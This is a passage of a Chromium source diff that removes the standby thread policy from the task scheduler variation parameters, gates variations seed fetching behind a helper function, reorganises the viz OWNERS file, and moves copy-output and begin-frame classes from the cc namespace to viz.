 // 4. Detach Time in Milliseconds (int)
-// 5. Standby Thread Policy (string)
 // Additional values may appear as necessary and will be ignored.
 std::unique_ptr<base::SchedulerWorkerPoolParams> GetWorkerPoolParams(
     base::StringPiece variation_param_prefix,
@@ -49,8 +48,6 @@
     const std::map<std::string, std::string>& variation_params,
     base::SchedulerBackwardCompatibility backward_compatibility =
         base::SchedulerBackwardCompatibility::DISABLED) {
-  using StandbyThreadPolicy =
-      base::SchedulerWorkerPoolParams::StandbyThreadPolicy;
 
   auto pool_descriptor_it = variation_params.find(
       base::JoinString({variation_param_prefix, pool_name}, ""));
@@ -80,8 +77,6 @@
   }
 
   auto params = base::MakeUnique<base::SchedulerWorkerPoolParams>(
-      (tokens.size() >= 6 && tokens[5] == "lazy") ? StandbyThreadPolicy::LAZY
-                                                  : StandbyThreadPolicy::ONE,
       base::RecommendedMaxNumberOfThreadsInPool(min, max, cores_multiplier,
                                                 offset),
       base::TimeDelta::FromMilliseconds(detach_milliseconds),
diff --git a/components/task_scheduler_util/common/variations_util_unittest.cc b/components/task_scheduler_util/common/variations_util_unittest.cc
index d5612f7..453c62e0 100644
--- a/components/task_scheduler_util/common/variations_util_unittest.cc
+++ b/components/task_scheduler_util/common/variations_util_unittest.cc
@@ -21,8 +21,6 @@
 
 namespace {
 
-using StandbyThreadPolicy =
-    base::SchedulerWorkerPoolParams::StandbyThreadPolicy;
 using SchedulerBackwardCompatibility = base::SchedulerBackwardCompatibility;
 
 #if !defined(OS_IOS)
@@ -62,8 +60,6 @@
       base::SchedulerBackwardCompatibility::INIT_COM_STA);
   ASSERT_TRUE(init_params);
 
-  EXPECT_EQ(StandbyThreadPolicy::ONE,
-            init_params->background_worker_pool_params.standby_thread_policy());
   EXPECT_EQ(1, init_params->background_worker_pool_params.max_threads());
   EXPECT_EQ(
       base::TimeDelta::FromMilliseconds(42),
@@ -72,9 +68,6 @@
       base::SchedulerBackwardCompatibility::DISABLED,
       init_params->background_worker_pool_params.backward_compatibility());
 
-  EXPECT_EQ(StandbyThreadPolicy::ONE,
-            init_params->background_blocking_worker_pool_params
-                .standby_thread_policy());
   EXPECT_EQ(2,
             init_params->background_blocking_worker_pool_params.max_threads());
   EXPECT_EQ(base::TimeDelta::FromMilliseconds(52),
@@ -84,8 +77,6 @@
             init_params->background_blocking_worker_pool_params
                 .backward_compatibility());
 
-  EXPECT_EQ(StandbyThreadPolicy::ONE,
-            init_params->foreground_worker_pool_params.standby_thread_policy());
   EXPECT_EQ(4, init_params->foreground_worker_pool_params.max_threads());
   EXPECT_EQ(
       base::TimeDelta::FromMilliseconds(62),
@@ -94,66 +85,6 @@
       base::SchedulerBackwardCompatibility::DISABLED,
       init_params->foreground_worker_pool_params.backward_compatibility());
 
-  EXPECT_EQ(StandbyThreadPolicy::ONE,
-            init_params->foreground_blocking_worker_pool_params
-                .standby_thread_policy());
-  EXPECT_EQ(8,
-            init_params->foreground_blocking_worker_pool_params.max_threads());
-  EXPECT_EQ(base::TimeDelta::FromMilliseconds(72),
-            init_params->foreground_blocking_worker_pool_params
-                .suggested_reclaim_time());
-  EXPECT_EQ(base::SchedulerBackwardCompatibility::INIT_COM_STA,
-            init_params->foreground_blocking_worker_pool_params
-                .backward_compatibility());
-}
-
-TEST_F(TaskSchedulerUtilVariationsUtilTest, OrderingParams6) {
-  std::map<std::string, std::string> variation_params;
-  variation_params["RendererBackground"] = "1;1;1;0;42;lazy";
-  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52;one";
-  variation_params["RendererForeground"] = "4;4;1;0;62;lazy";
-  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72;one";
-
-  auto init_params = GetTaskSchedulerInitParams(
-      "Renderer", variation_params,
-      base::SchedulerBackwardCompatibility::INIT_COM_STA);
-  ASSERT_TRUE(init_params);
-
-  EXPECT_EQ(StandbyThreadPolicy::LAZY,
-            init_params->background_worker_pool_params.standby_thread_policy());
-  EXPECT_EQ(1, init_params->background_worker_pool_params.max_threads());
-  EXPECT_EQ(
-      base::TimeDelta::FromMilliseconds(42),
-      init_params->background_worker_pool_params.suggested_reclaim_time());
-  EXPECT_EQ(
-      base::SchedulerBackwardCompatibility::DISABLED,
-      init_params->background_worker_pool_params.backward_compatibility());
-
-  EXPECT_EQ(StandbyThreadPolicy::ONE,
-            init_params->background_blocking_worker_pool_params
-                .standby_thread_policy());
-  EXPECT_EQ(2,
-            init_params->background_blocking_worker_pool_params.max_threads());
-  EXPECT_EQ(base::TimeDelta::FromMilliseconds(52),
-            init_params->background_blocking_worker_pool_params
-                .suggested_reclaim_time());
-  EXPECT_EQ(base::SchedulerBackwardCompatibility::DISABLED,
-            init_params->background_blocking_worker_pool_params
-                .backward_compatibility());
-
-  EXPECT_EQ(StandbyThreadPolicy::LAZY,
-            init_params->foreground_worker_pool_params.standby_thread_policy());
-  EXPECT_EQ(4, init_params->foreground_worker_pool_params.max_threads());
-  EXPECT_EQ(
-      base::TimeDelta::FromMilliseconds(62),
-      init_params->foreground_worker_pool_params.suggested_reclaim_time());
-  EXPECT_EQ(
-      base::SchedulerBackwardCompatibility::DISABLED,
-      init_params->foreground_worker_pool_params.backward_compatibility());
-
-  EXPECT_EQ(StandbyThreadPolicy::ONE,
-            init_params->foreground_blocking_worker_pool_params
-                .standby_thread_policy());
   EXPECT_EQ(8,
             init_params->foreground_blocking_worker_pool_params.max_threads());
   EXPECT_EQ(base::TimeDelta::FromMilliseconds(72),
@@ -191,10 +122,10 @@
   // The Background pool has a maximum number of threads equal to zero, which is
   // invalid.
   std::map<std::string, std::string> variation_params;
-  variation_params["RendererBackground"] = "0;0;0;0;0;lazy";
-  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52;one";
-  variation_params["RendererForeground"] = "4;4;1;0;62;lazy";
-  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72;one";
+  variation_params["RendererBackground"] = "0;0;0;0;0";
+  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52";
+  variation_params["RendererForeground"] = "4;4;1;0;62";
+  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72";
   EXPECT_FALSE(GetTaskSchedulerInitParams("Renderer", variation_params));
 }
 
@@ -202,10 +133,10 @@
   // The Background pool has a negative maximum number of threads, which is
   // invalid.
   std::map<std::string, std::string> variation_params;
-  variation_params["RendererBackground"] = "-5;-5;0;0;0;lazy";
-  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52;one";
-  variation_params["RendererForeground"] = "4;4;1;0;62;lazy";
-  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72;one";
+  variation_params["RendererBackground"] = "-5;-5;0;0;0";
+  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52";
+  variation_params["RendererForeground"] = "4;4;1;0;62";
+  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72";
   EXPECT_FALSE(GetTaskSchedulerInitParams("Renderer", variation_params));
 }
 
@@ -213,10 +144,10 @@
   // The Background pool has a negative suggested reclaim time, which is
   // invalid.
   std::map<std::string, std::string> variation_params;
-  variation_params["RendererBackground"] = "1;1;1;0;-5;lazy";
-  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52;one";
-  variation_params["RendererForeground"] = "4;4;1;0;62;lazy";
-  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72;one";
+  variation_params["RendererBackground"] = "1;1;1;0;-5";
+  variation_params["RendererBackgroundBlocking"] = "2;2;1;0;52";
+  variation_params["RendererForeground"] = "4;4;1;0;62";
+  variation_params["RendererForegroundBlocking"] = "8;8;1;0;72";
   EXPECT_FALSE(GetTaskSchedulerInitParams("Renderer", variation_params));
 }
 
diff --git a/components/variations/service/variations_service.cc b/components/variations/service/variations_service.cc
index e282e2fb..47afe787 100644
--- a/components/variations/service/variations_service.cc
+++ b/components/variations/service/variations_service.cc
@@ -194,6 +194,22 @@
   return true;
 }
 
+// Variations seed fetching is only enabled in official Chrome builds, if a URL
+// is specified on the command line, and for testing.
+bool IsFetchingEnabled() {
+#if !defined(GOOGLE_CHROME_BUILD)
+  if (!base::CommandLine::ForCurrentProcess()->HasSwitch(
+          switches::kVariationsServerURL) &&
+      !g_enabled_for_testing) {
+    DVLOG(1)
+        << "Not performing repeated fetching in unofficial build without --"
+        << switches::kVariationsServerURL << " specified.";
+    return false;
+  }
+#endif
+  return true;
+}
+
 }  // namespace
 
 VariationsService::VariationsService(
@@ -256,6 +272,9 @@
 void VariationsService::PerformPreMainMessageLoopStartup() {
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
 
+  if (!IsFetchingEnabled())
+    return;
+
   StartRepeatedVariationsSeedFetch();
 }
 
@@ -300,6 +319,9 @@
 void VariationsService::OnAppEnterForeground() {
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
 
+  if (!IsFetchingEnabled())
+    return;
+
   // On mobile platforms, initialize the fetch scheduler when we receive the
   // first app foreground notification.
   if (!request_scheduler_)
@@ -387,17 +409,6 @@
     const char* disable_network_switch,
     const UIStringOverrider& ui_string_overrider) {
   std::unique_ptr<VariationsService> result;
-#if !defined(GOOGLE_CHROME_BUILD)
-  // Unless the URL was provided, unsupported builds should return NULL to
-  // indicate that the service should not be used.
-  if (!base::CommandLine::ForCurrentProcess()->HasSwitch(
-          switches::kVariationsServerURL) &&
-      !g_enabled_for_testing) {
-    DVLOG(1) << "Not creating VariationsService in unofficial build without --"
-             << switches::kVariationsServerURL << " specified.";
-    return result;
-  }
-#endif
   result.reset(new VariationsService(
       std::move(client),
       base::MakeUnique<web_resource::ResourceRequestAllowedNotifier>(
@@ -413,6 +424,7 @@
 
 void VariationsService::DoActualFetch() {
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+  DCHECK(IsFetchingEnabled());
 
   // Pessimistically assume the fetch will fail. The failure streak will be
   // reset upon success.
diff --git a/components/variations/service/variations_service_unittest.cc b/components/variations/service/variations_service_unittest.cc
index 54718df8..8ba2957a 100644
--- a/components/variations/service/variations_service_unittest.cc
+++ b/components/variations/service/variations_service_unittest.cc
@@ -273,6 +273,7 @@
   VariationsServiceTest()
       : enabled_state_provider_(
             new metrics::TestEnabledStateProvider(false, false)) {
+    VariationsService::EnableForTesting();
     VariationsService::RegisterPrefs(prefs_.registry());
     metrics::CleanExitBeacon::RegisterPrefs(prefs_.registry());
     metrics::MetricsStateManager::RegisterPrefs(prefs_.registry());
diff --git a/components/viz/BUILD.gn b/components/viz/BUILD.gn
index 2795882..7c33150e 100644
--- a/components/viz/BUILD.gn
+++ b/components/viz/BUILD.gn
@@ -17,6 +17,7 @@
     "//components/viz/service:unit_tests",
     "//components/viz/test:test_suite",
     "//components/viz/test:test_support",
+    "//components/viz/test:unit_tests",
     "//mojo/edk/system",
   ]
 
diff --git a/components/viz/OWNERS b/components/viz/OWNERS
index 83133b4..e91914de 100644
--- a/components/viz/OWNERS
+++ b/components/viz/OWNERS
@@ -1,16 +1,49 @@
-fsamuel@chromium.org
-rjkroege@chromium.org
-sadrul@chromium.org
+# For patches touching specific topics, try the topic-specific OWNERS. For
+# patches that touch multiple areas or if you aren't sure, try the general
+# OWNERS at the bottom.
+#
+# Folks listed as unofficial can't do OWNERS approvals but are good people to
+# ask for informal reviews.
+
+# display / resources / quads / passes
 danakj@chromium.org
 enne@chromium.org
-vmpstr@chromium.org
 piman@chromium.org
-jbauman@chromium.org
+vmpstr@chromium.org
+weiliangc@chromium.org
+
+# display_embedder / ozone
+rjkroege@chromium.org
+sadrul@chromium.org
+
+# frame sinks / surfaces
+enne@chromium.org
+fsamuel@chromium.org
+kylechar@chromium.org
+
+# gpu
+danakj@chromium.org
+piman@chromium.org
+sadrul@chromium.org
+
+# hit testing
+rjkroege@chromium.org
+sadrul@chromium.org
+vollick@chromium.org
+
+# math / geometry
+flackr@chromium.org
+vollick@chromium.org
 
 # scheduling / begin frames
 brianderson@chromium.org
 skyostil@chromium.org
 sunnyps@chromium.org
 
+# general
+danakj@chromium.org
+enne@chromium.org
+vmpstr@chromium.org
+
 # TEAM: graphics-dev@chromium.org
-# COMPONENT: Internals>GPU>Internals
+# COMPONENT: Internals>Compositing
diff --git a/components/viz/common/BUILD.gn b/components/viz/common/BUILD.gn
index ff730a62..ff699a6 100644
--- a/components/viz/common/BUILD.gn
+++ b/components/viz/common/BUILD.gn
@@ -32,9 +32,16 @@
     "gpu/in_process_context_provider.cc",
     "gpu/in_process_context_provider.h",
     "hit_test/aggregated_hit_test_region.h",
+    "quads/copy_output_request.cc",
+    "quads/copy_output_request.h",
+    "quads/copy_output_result.cc",
+    "quads/copy_output_result.h",
+    "quads/release_callback.h",
     "quads/resource_format.h",
     "quads/shared_bitmap.cc",
     "quads/shared_bitmap.h",
+    "quads/single_release_callback.cc",
+    "quads/single_release_callback.h",
     "quads/texture_mailbox.cc",
     "quads/texture_mailbox.h",
     "resources/buffer_to_texture_target_map.cc",
diff --git a/cc/scheduler/begin_frame_source_unittest.cc b/components/viz/common/frame_sinks/begin_frame_source_unittest.cc
similarity index 93%
rename from cc/scheduler/begin_frame_source_unittest.cc
rename to components/viz/common/frame_sinks/begin_frame_source_unittest.cc
index 3bb1397..997d66d 100644
--- a/cc/scheduler/begin_frame_source_unittest.cc
+++ b/components/viz/common/frame_sinks/begin_frame_source_unittest.cc
@@ -8,16 +8,16 @@
 
 #include "base/memory/ptr_util.h"
 #include "base/test/test_simple_task_runner.h"
-#include "cc/test/begin_frame_source_test.h"
-#include "cc/test/ordered_simple_task_runner.h"
 #include "components/viz/test/begin_frame_args_test.h"
+#include "components/viz/test/begin_frame_source_test.h"
 #include "components/viz/test/fake_delay_based_time_source.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 using testing::NiceMock;
 
-namespace cc {
+namespace viz {
 namespace {
 
 // Returns a fake TimeTicks based on the given microsecond offset.
@@ -27,15 +27,15 @@
 
 // BeginFrameSource testing ----------------------------------------------------
 TEST(BeginFrameSourceTest, SourceIdsAreUnique) {
-  viz::StubBeginFrameSource source1;
-  viz::StubBeginFrameSource source2;
-  viz::StubBeginFrameSource source3;
+  StubBeginFrameSource source1;
+  StubBeginFrameSource source2;
+  StubBeginFrameSource source3;
   EXPECT_NE(source1.source_id(), source2.source_id());
   EXPECT_NE(source1.source_id(), source3.source_id());
   EXPECT_NE(source2.source_id(), source3.source_id());
 }
 
-// viz::BackToBackBeginFrameSource testing
+// BackToBackBeginFrameSource testing
 // ------------------------------------------
 class BackToBackBeginFrameSourceTest : public ::testing::Test {
  protected:
@@ -47,10 +47,10 @@
     now_src_->Advance(base::TimeDelta::FromMicroseconds(1000));
     task_runner_ =
         make_scoped_refptr(new OrderedSimpleTaskRunner(now_src_.get(), false));
-    std::unique_ptr<viz::FakeDelayBasedTimeSource> time_source(
-        new viz::FakeDelayBasedTimeSource(now_src_.get(), task_runner_.get()));
+    std::unique_ptr<FakeDelayBasedTimeSource> time_source(
+        new FakeDelayBasedTimeSource(now_src_.get(), task_runner_.get()));
     delay_based_time_source_ = time_source.get();
-    source_.reset(new viz::BackToBackBeginFrameSource(std::move(time_source)));
+    source_.reset(new BackToBackBeginFrameSource(std::move(time_source)));
     obs_ = base::WrapUnique(new ::testing::NiceMock<MockBeginFrameObserver>);
   }
 
@@ -58,17 +58,16 @@
 
   std::unique_ptr<base::SimpleTestTickClock> now_src_;
   scoped_refptr<OrderedSimpleTaskRunner> task_runner_;
-  std::unique_ptr<viz::BackToBackBeginFrameSource> source_;
+  std::unique_ptr<BackToBackBeginFrameSource> source_;
   std::unique_ptr<MockBeginFrameObserver> obs_;
-  viz::FakeDelayBasedTimeSource*
-      delay_based_time_source_;  // Owned by |now_src_|.
+  FakeDelayBasedTimeSource* delay_based_time_source_;  // Owned by |now_src_|.
 };
 
 const int64_t BackToBackBeginFrameSourceTest::kDeadline =
-    viz::BeginFrameArgs::DefaultInterval().InMicroseconds();
+    BeginFrameArgs::DefaultInterval().InMicroseconds();
 
 const int64_t BackToBackBeginFrameSourceTest::kInterval =
-    viz::BeginFrameArgs::DefaultInterval().InMicroseconds();
+    BeginFrameArgs::DefaultInterval().InMicroseconds();
 
 TEST_F(BackToBackBeginFrameSourceTest, AddObserverSendsBeginFrame) {
   EXPECT_BEGIN_FRAME_SOURCE_PAUSED(*obs_, false);
@@ -331,13 +330,13 @@
   source_->RemoveObserver(&obs2);
 }
 
-// viz::DelayBasedBeginFrameSource testing
+// DelayBasedBeginFrameSource testing
 // ------------------------------------------
 class DelayBasedBeginFrameSourceTest : public ::testing::Test {
  public:
   std::unique_ptr<base::SimpleTestTickClock> now_src_;
   scoped_refptr<OrderedSimpleTaskRunner> task_runner_;
-  std::unique_ptr<viz::DelayBasedBeginFrameSource> source_;
+  std::unique_ptr<DelayBasedBeginFrameSource> source_;
   std::unique_ptr<MockBeginFrameObserver> obs_;
 
   void SetUp() override {
@@ -345,11 +344,11 @@
     now_src_->Advance(base::TimeDelta::FromMicroseconds(1000));
     task_runner_ =
         make_scoped_refptr(new OrderedSimpleTaskRunner(now_src_.get(), false));
-    std::unique_ptr<viz::DelayBasedTimeSource> time_source(
-        new viz::FakeDelayBasedTimeSource(now_src_.get(), task_runner_.get()));
+    std::unique_ptr<DelayBasedTimeSource> time_source(
+        new FakeDelayBasedTimeSource(now_src_.get(), task_runner_.get()));
     time_source->SetTimebaseAndInterval(
         base::TimeTicks(), base::TimeDelta::FromMicroseconds(10000));
-    source_.reset(new viz::DelayBasedBeginFrameSource(std::move(time_source)));
+    source_.reset(new DelayBasedBeginFrameSource(std::move(time_source)));
     obs_.reset(new MockBeginFrameObserver);
   }
 
@@ -533,10 +532,10 @@
   source_->RemoveObserver(&obs);
 }
 
-// viz::ExternalBeginFrameSource testing
+// ExternalBeginFrameSource testing
 // --------------------------------------------
 class MockExternalBeginFrameSourceClient
-    : public viz::ExternalBeginFrameSourceClient {
+    : public ExternalBeginFrameSourceClient {
  public:
   MOCK_METHOD1(OnNeedsBeginFrames, void(bool));
 };
@@ -544,12 +543,12 @@
 class ExternalBeginFrameSourceTest : public ::testing::Test {
  public:
   std::unique_ptr<MockExternalBeginFrameSourceClient> client_;
-  std::unique_ptr<viz::ExternalBeginFrameSource> source_;
+  std::unique_ptr<ExternalBeginFrameSource> source_;
   std::unique_ptr<MockBeginFrameObserver> obs_;
 
   void SetUp() override {
     client_.reset(new MockExternalBeginFrameSourceClient);
-    source_.reset(new viz::ExternalBeginFrameSource(client_.get()));
+    source_.reset(new ExternalBeginFrameSource(client_.get()));
     obs_.reset(new MockBeginFrameObserver);
   }
 
@@ -565,7 +564,7 @@
   EXPECT_CALL((*client_), OnNeedsBeginFrames(true)).Times(1);
   source_->AddObserver(obs_.get());
 
-  viz::BeginFrameArgs args = viz::CreateBeginFrameArgsForTesting(
+  BeginFrameArgs args = CreateBeginFrameArgsForTesting(
       BEGINFRAME_FROM_HERE, 0, 2, TicksFromMicroseconds(10000));
   EXPECT_BEGIN_FRAME_ARGS_USED(*obs_, args);
   source_->OnBeginFrame(args);
@@ -573,14 +572,14 @@
   // Providing same args again to OnBeginFrame() should not notify observer.
   source_->OnBeginFrame(args);
 
-  // Providing same args through a different viz::ExternalBeginFrameSource also
+  // Providing same args through a different ExternalBeginFrameSource also
   // does not notify observer.
   EXPECT_BEGIN_FRAME_SOURCE_PAUSED(*obs_, false);
   EXPECT_CALL((*client_), OnNeedsBeginFrames(true)).Times(1);
-  viz::ExternalBeginFrameSource source2(client_.get());
+  ExternalBeginFrameSource source2(client_.get());
   source2.AddObserver(obs_.get());
   source2.OnBeginFrame(args);
 }
 
 }  // namespace
-}  // namespace cc
+}  // namespace viz
diff --git a/components/viz/common/quads/DEPS b/components/viz/common/quads/DEPS
index 766ac6bb..a1777be 100644
--- a/components/viz/common/quads/DEPS
+++ b/components/viz/common/quads/DEPS
@@ -1,5 +1,6 @@
 include_rules = [
   "+gpu/command_buffer/common",
   "+mojo/public/cpp/bindings",
+  "+third_party/skia",
   "+ui/gfx",
 ]
diff --git a/cc/output/copy_output_request.cc b/components/viz/common/quads/copy_output_request.cc
similarity index 83%
rename from cc/output/copy_output_request.cc
rename to components/viz/common/quads/copy_output_request.cc
index f00140a..de505d6 100644
--- a/cc/output/copy_output_request.cc
+++ b/components/viz/common/quads/copy_output_request.cc
@@ -2,16 +2,16 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 
 #include "base/bind.h"
 #include "base/logging.h"
 #include "base/trace_event/trace_event.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "third_party/skia/include/core/SkBitmap.h"
 
-namespace cc {
+namespace viz {
 
 CopyOutputRequest::CopyOutputRequest() : force_bitmap_result_(false) {}
 
@@ -20,7 +20,7 @@
     : force_bitmap_result_(force_bitmap_result),
       result_callback_(std::move(result_callback)) {
   DCHECK(!result_callback_.is_null());
-  TRACE_EVENT_ASYNC_BEGIN0("cc", "CopyOutputRequest", this);
+  TRACE_EVENT_ASYNC_BEGIN0("viz", "CopyOutputRequest", this);
 }
 
 CopyOutputRequest::~CopyOutputRequest() {
@@ -29,7 +29,7 @@
 }
 
 void CopyOutputRequest::SendResult(std::unique_ptr<CopyOutputResult> result) {
-  TRACE_EVENT_ASYNC_END1("cc", "CopyOutputRequest", this, "success",
+  TRACE_EVENT_ASYNC_END1("viz", "CopyOutputRequest", this, "success",
                          !result->IsEmpty());
   if (result_task_runner_) {
     result_task_runner_->PostTask(
@@ -51,7 +51,7 @@
 
 void CopyOutputRequest::SendTextureResult(
     const gfx::Size& size,
-    const viz::TextureMailbox& texture_mailbox,
+    const TextureMailbox& texture_mailbox,
     std::unique_ptr<SingleReleaseCallback> release_callback) {
   DCHECK(texture_mailbox.IsTexture());
   SendResult(CopyOutputResult::CreateTextureResult(
@@ -59,10 +59,10 @@
 }
 
 void CopyOutputRequest::SetTextureMailbox(
-    const viz::TextureMailbox& texture_mailbox) {
+    const TextureMailbox& texture_mailbox) {
   DCHECK(!force_bitmap_result_);
   DCHECK(texture_mailbox.IsTexture());
   texture_mailbox_ = texture_mailbox;
 }
 
-}  // namespace cc
+}  // namespace viz
diff --git a/cc/output/copy_output_request.h b/components/viz/common/quads/copy_output_request.h
similarity index 82%
rename from cc/output/copy_output_request.h
rename to components/viz/common/quads/copy_output_request.h
index 0ee355e6..7a0f5a7 100644
--- a/cc/output/copy_output_request.h
+++ b/components/viz/common/quads/copy_output_request.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_OUTPUT_COPY_OUTPUT_REQUEST_H_
-#define CC_OUTPUT_COPY_OUTPUT_REQUEST_H_
+#ifndef COMPONENTS_VIZ_COMMON_QUADS_COPY_OUTPUT_REQUEST_H_
+#define COMPONENTS_VIZ_COMMON_QUADS_COPY_OUTPUT_REQUEST_H_
 
 #include <memory>
 
@@ -12,23 +12,25 @@
 #include "base/optional.h"
 #include "base/task_runner.h"
 #include "base/unguessable_token.h"
-#include "cc/cc_export.h"
-#include "cc/resources/single_release_callback.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
+#include "components/viz/common/viz_common_export.h"
 #include "mojo/public/cpp/bindings/struct_traits.h"
 #include "ui/gfx/geometry/rect.h"
 
 class SkBitmap;
 
 namespace cc {
-
 namespace mojom {
 class CopyOutputRequestDataView;
 }
+}  // namespace cc
+
+namespace viz {
 
 class CopyOutputResult;
 
-class CC_EXPORT CopyOutputRequest {
+class VIZ_COMMON_EXPORT CopyOutputRequest {
  public:
   using CopyOutputRequestCallback =
       base::OnceCallback<void(std::unique_ptr<CopyOutputResult> result)>;
@@ -77,24 +79,22 @@
 
   // By default copy requests create a new TextureMailbox to return contents
   // in. This allows a client to provide a TextureMailbox, and the compositor
-  // will place the result inside the viz::TextureMailbox.
-  void SetTextureMailbox(const viz::TextureMailbox& texture_mailbox);
+  // will place the result inside the TextureMailbox.
+  void SetTextureMailbox(const TextureMailbox& texture_mailbox);
   bool has_texture_mailbox() const { return texture_mailbox_.has_value(); }
-  const viz::TextureMailbox& texture_mailbox() const {
-    return *texture_mailbox_;
-  }
+  const TextureMailbox& texture_mailbox() const { return *texture_mailbox_; }
 
   void SendEmptyResult();
   void SendBitmapResult(std::unique_ptr<SkBitmap> bitmap);
   void SendTextureResult(
       const gfx::Size& size,
-      const viz::TextureMailbox& texture_mailbox,
+      const TextureMailbox& texture_mailbox,
       std::unique_ptr<SingleReleaseCallback> release_callback);
 
   void SendResult(std::unique_ptr<CopyOutputResult> result);
 
  private:
-  friend struct mojo::StructTraits<mojom::CopyOutputRequestDataView,
+  friend struct mojo::StructTraits<cc::mojom::CopyOutputRequestDataView,
                                    std::unique_ptr<CopyOutputRequest>>;
 
   CopyOutputRequest();
@@ -105,12 +105,12 @@
   base::Optional<base::UnguessableToken> source_;
   bool force_bitmap_result_;
   base::Optional<gfx::Rect> area_;
-  base::Optional<viz::TextureMailbox> texture_mailbox_;
+  base::Optional<TextureMailbox> texture_mailbox_;
   CopyOutputRequestCallback result_callback_;
 
   DISALLOW_COPY_AND_ASSIGN(CopyOutputRequest);
 };
 
-}  // namespace cc
+}  // namespace viz
 
-#endif  // CC_OUTPUT_COPY_OUTPUT_REQUEST_H_
+#endif  // COMPONENTS_VIZ_COMMON_QUADS_COPY_OUTPUT_REQUEST_H_
diff --git a/cc/output/copy_output_result.cc b/components/viz/common/quads/copy_output_result.cc
similarity index 83%
rename from cc/output/copy_output_result.cc
rename to components/viz/common/quads/copy_output_result.cc
index 7df94db..62f723c 100644
--- a/cc/output/copy_output_result.cc
+++ b/components/viz/common/quads/copy_output_result.cc
@@ -2,12 +2,12 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_result.h"
 
 #include "base/logging.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 
-namespace cc {
+namespace viz {
 
 CopyOutputResult::CopyOutputResult() {}
 
@@ -18,7 +18,7 @@
 
 CopyOutputResult::CopyOutputResult(
     const gfx::Size& size,
-    const viz::TextureMailbox& texture_mailbox,
+    const TextureMailbox& texture_mailbox,
     std::unique_ptr<SingleReleaseCallback> release_callback)
     : size_(size),
       texture_mailbox_(texture_mailbox),
@@ -36,12 +36,12 @@
 }
 
 void CopyOutputResult::TakeTexture(
-    viz::TextureMailbox* texture_mailbox,
+    TextureMailbox* texture_mailbox,
     std::unique_ptr<SingleReleaseCallback>* release_callback) {
   *texture_mailbox = texture_mailbox_;
   *release_callback = std::move(release_callback_);
 
-  texture_mailbox_ = viz::TextureMailbox();
+  texture_mailbox_ = TextureMailbox();
 }
 
-}  // namespace cc
+}  // namespace viz
diff --git a/cc/output/copy_output_result.h b/components/viz/common/quads/copy_output_result.h
similarity index 76%
rename from cc/output/copy_output_result.h
rename to components/viz/common/quads/copy_output_result.h
index 38a177c..901ea5c9 100644
--- a/cc/output/copy_output_result.h
+++ b/components/viz/common/quads/copy_output_result.h
@@ -2,32 +2,32 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_OUTPUT_COPY_OUTPUT_RESULT_H_
-#define CC_OUTPUT_COPY_OUTPUT_RESULT_H_
+#ifndef COMPONENTS_VIZ_COMMON_QUADS_COPY_OUTPUT_RESULT_H_
+#define COMPONENTS_VIZ_COMMON_QUADS_COPY_OUTPUT_RESULT_H_
 
 #include <memory>
 
 #include "base/memory/ptr_util.h"
-#include "cc/cc_export.h"
-#include "cc/resources/single_release_callback.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
+#include "components/viz/common/viz_common_export.h"
 #include "mojo/public/cpp/bindings/struct_traits.h"
 #include "third_party/skia/include/core/SkBitmap.h"
 #include "ui/gfx/geometry/size.h"
 
 class SkBitmap;
 
-namespace viz {
-class TextureMailbox;
-}
-
 namespace cc {
-
 namespace mojom {
 class CopyOutputResultDataView;
 }
+}  // namespace cc
 
-class CC_EXPORT CopyOutputResult {
+namespace viz {
+
+class TextureMailbox;
+
+class VIZ_COMMON_EXPORT CopyOutputResult {
  public:
   static std::unique_ptr<CopyOutputResult> CreateEmptyResult() {
     return base::WrapUnique(new CopyOutputResult);
@@ -38,7 +38,7 @@
   }
   static std::unique_ptr<CopyOutputResult> CreateTextureResult(
       const gfx::Size& size,
-      const viz::TextureMailbox& texture_mailbox,
+      const TextureMailbox& texture_mailbox,
       std::unique_ptr<SingleReleaseCallback> release_callback) {
     return base::WrapUnique(new CopyOutputResult(size, texture_mailbox,
                                                  std::move(release_callback)));
@@ -52,28 +52,28 @@
 
   gfx::Size size() const { return size_; }
   std::unique_ptr<SkBitmap> TakeBitmap();
-  void TakeTexture(viz::TextureMailbox* texture_mailbox,
+  void TakeTexture(TextureMailbox* texture_mailbox,
                    std::unique_ptr<SingleReleaseCallback>* release_callback);
 
  private:
-  friend struct mojo::StructTraits<mojom::CopyOutputResultDataView,
+  friend struct mojo::StructTraits<cc::mojom::CopyOutputResultDataView,
                                    std::unique_ptr<CopyOutputResult>>;
 
   CopyOutputResult();
   explicit CopyOutputResult(std::unique_ptr<SkBitmap> bitmap);
   explicit CopyOutputResult(
       const gfx::Size& size,
-      const viz::TextureMailbox& texture_mailbox,
+      const TextureMailbox& texture_mailbox,
       std::unique_ptr<SingleReleaseCallback> release_callback);
 
   gfx::Size size_;
